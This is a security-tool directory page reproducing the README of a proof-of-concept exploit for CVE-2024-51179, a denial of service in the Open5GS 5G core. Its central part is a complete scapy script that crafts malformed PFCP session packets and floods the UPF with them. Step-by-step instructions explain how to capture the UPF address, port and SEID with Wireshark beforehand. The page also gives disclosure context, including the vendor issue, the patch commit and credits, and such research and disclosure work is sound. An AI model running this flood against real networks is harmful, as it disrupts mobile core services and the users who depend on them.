Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/lakshmirnr/cve-2024-51179
Packet Sniffing & AnalysisVulnerability AnalysisExploitationNetwork SecurityPenetration Testing
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Proof-of-concept exploit for CVE-2024-51179: crafted PFCP packet flooding causes denial of service in Open5GS UPF/SMF, disrupting 5G core PDU session establishment.

View Repository
4401 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    350
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-51179 : Flooding of Crafted packets from an Attacker can crash UPF/SMF in Open5gs

Vulnerability Description

Description: An issue in Open 5GS v.2.7.1 allows a remote attacker to cause a denial of servie via the Network Function Virtualizations (NFVs) such as the User Plane Function (UPF) and the Session Management Function (SMF). The Packet Data Unit (PDU) session establishment process is impacted by the crashes occurring within the NFVs.

An attacker, after obtaining the IP address of the User Plane Function (UPF), the PFCP port, and the SEID (Session Endpoint Identifier), can craft and flood malicious PFCP (Packet Forwarding Control Protocol) packets to the UPF. The required parameters can be intercepted using tools like Wireshark if the attacker has access to the user plane traffic.

Type of Vulnerability: Denial Of Service

Impact: Upon sending the malicious packet, the UPF becomes erroneous, affecting the establishment of new PDU sessions. Additionally, the SMF (Session Management Function) is impacted due to the flood of malicious PFCP packets, disrupting Core functions

STEPS TO REPRODUCE THE ATTACK

Preconditions: The 5G core network was set up using Open5GS as the core network and UERANSIM as the emulation tool for the gNB (Next Generation NodeB) and UE (User Equipment).

STEPS TO PERFORM ATTACK

  1. Ensure Open5GS is running by checking the status of Open5GS components (AMF, SMF, UPF, etc.)
  2. Verify PDU session establishment by using UERANSIM to initiate a PDU session and capturing traffic with Wireshark.
  3. Open Wireshark and select the network interface used for the user plane.
  4. Start capturing traffic with a display filter for PFCP packets:
  5. Initiate a PDU session from UERANSIM to ensure PFCP packets are visible in the capture.
  6. In Wireshark, find and note the UPF IP address, UPF port (usually 8805), and SEID from the captured PFCP packets.
  7. Use the following script to flood the packets to the UPF.
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Monitor the network impact using Wireshark or check the logs to observe any anomalies or failures in packet processing.
  2. Attempt to establish new PDU sessions from UERANSIM to see if the establishment fails due to the flooding.

SMF STATUS AFTER THE ATTACK

smfcurrent

WIRESHARK CAPTURE OF THE MALICIOUS PACKET

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

CURRENT STATUS

The vulnerability, documented as Issue #3497 on the Open5GS GitHub page (https://github.com/open5gs/open5gs/issues/3497), was reported to the Open5GS vendor, who identified the root cause as a memory deallocation issue leading to system crashes. A patch has since been applied, and the code has been updated to resolve the issue. You can review the updated code here.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 has been published.

CREDITS

DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

Download Tool